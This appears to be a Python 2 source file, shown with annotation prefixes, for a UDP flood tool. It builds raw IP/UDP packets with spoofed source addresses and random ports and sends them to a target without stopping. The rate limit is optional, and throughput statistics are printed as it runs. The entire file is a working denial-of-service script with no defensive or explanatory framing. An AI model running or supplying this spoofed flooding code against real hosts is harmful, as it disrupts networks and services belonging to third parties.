terom@0: import dpkt terom@0: import ipaddr terom@0: import os terom@0: import random terom@0: import socket terom@0: import struct terom@0: import sys terom@0: import time terom@0: terom@0: IP_HDR = struct.Struct('! BBH HH BBH 4s 4s') terom@0: UDP_HDR = struct.Struct('! HH HH') terom@0: terom@0: def udpflood (dst, rate=None): terom@0: sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) terom@0: terom@0: daddr = ipaddr.IPAddress(dst).packed terom@0: dport = 1337 terom@0: ttl = 64 terom@0: terom@0: t0 = time.time() terom@0: t1 = 0.0 terom@0: count = 0 terom@0: size = 0 terom@0: terom@0: while True: terom@0: saddr = 'ABC' + os.urandom(1) terom@0: sport = random.randint(1, 2**16 - 1) terom@0: terom@0: # UDP checksum is optional terom@0: udp_hdr = UDP_HDR.pack(sport, dport, 8, 0x1337) terom@0: terom@0: # IP checksum is filled in by kernel raw socket terom@0: ip_hdr = IP_HDR.pack( terom@0: 0x45, 0x00, IP_HDR.size + UDP_HDR.size + 0, terom@0: 0x0000, 0x0000, terom@0: ttl, dpkt.ip.IP_PROTO_UDP, 0, terom@0: saddr, terom@0: daddr, terom@0: ) terom@0: terom@0: pkt = ip_hdr + udp_hdr + '' terom@0: sock.sendto(pkt, (dst, 0)) terom@0: terom@0: # stats terom@0: count += 1 terom@0: size += len(pkt) terom@0: t = time.time() - t0 terom@0: terom@0: if rate and count % 1000: terom@0: over = count - t * rate terom@0: terom@0: if over > 0: terom@0: #sys.stdout.write('.') terom@0: time.sleep(over / rate) terom@0: terom@0: if t - t1 > 1.0: terom@0: sys.stdout.write('%8.2fs: %8d @ %8.2f/s = %8.2fM @ %5d/pkt\n' % (t, count, count / t, size / 1e6, size / count)) terom@0: t1 = t terom@0: terom@0: return 0 terom@0: terom@0: def main (argv): terom@0: prog = argv.pop(0) terom@0: dst = argv.pop(0) terom@0: terom@0: if argv: terom@0: rate = int(argv.pop(0)) terom@0: else : terom@0: rate = None terom@0: terom@0: return udpflood(dst, rate) terom@0: terom@0: if __name__ == '__main__': terom@0: sys.exit(main(sys.argv))